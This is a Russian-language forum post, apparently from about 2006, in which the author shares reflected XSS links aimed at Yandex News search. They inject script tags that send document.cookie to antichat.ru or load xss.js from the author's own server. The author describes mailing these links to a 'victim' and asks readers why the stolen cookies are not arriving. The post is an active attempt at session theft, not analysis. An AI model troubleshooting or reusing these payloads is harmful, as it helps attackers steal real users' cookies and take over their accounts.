Полный ход действий!
Вот Xss http://news.yandex.ru/yandsearch?cl4url=lenta.ru/news/2006/08/24/nine/&country=Russia"><script>alert(document.domain) </script>
Вот ято я посылаю на почту http://news.yandex.ru/yandsearch?cl4url=www.rian.ru/society/20060824/53095993.html&country=Russia"><script%20src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;></script>
Вопрос: Почему не приходят куки?
_____--_____
Другой способ по статье http://forum.web-hack.ru/index.php?showtopic=28026&st=0
_____--_____
Таже самая Xss
Скрипты залиты на хостинг права прописаны!
Отсылаю жертве http://news.yandex.ru/yandsearch?cl4url=primamedia.ru/news/show/%3Fid%3D19366&country=Russia="><script%20src=http://[мой_сайт]/script/xss.js>%20</script>
Куков тоже нет? (((((((
Примечание: Я отсылаю <script src=http://[мой_сайт]/script/xss.js></script> жертве а потом он преобразуется в <script%20src=http://[мой_сайт]/script/xss.js>%20</script>
Это играет какую нибудь роль?
Ответьте пожалуйста на 3 вопроса:
1) Почему нет куков в 1 случае
2) Почему нет куков во 2 случае
3) Это играет какую нибудь роль?
Заранее спасибо спасибо спасибо)))))




_____--_____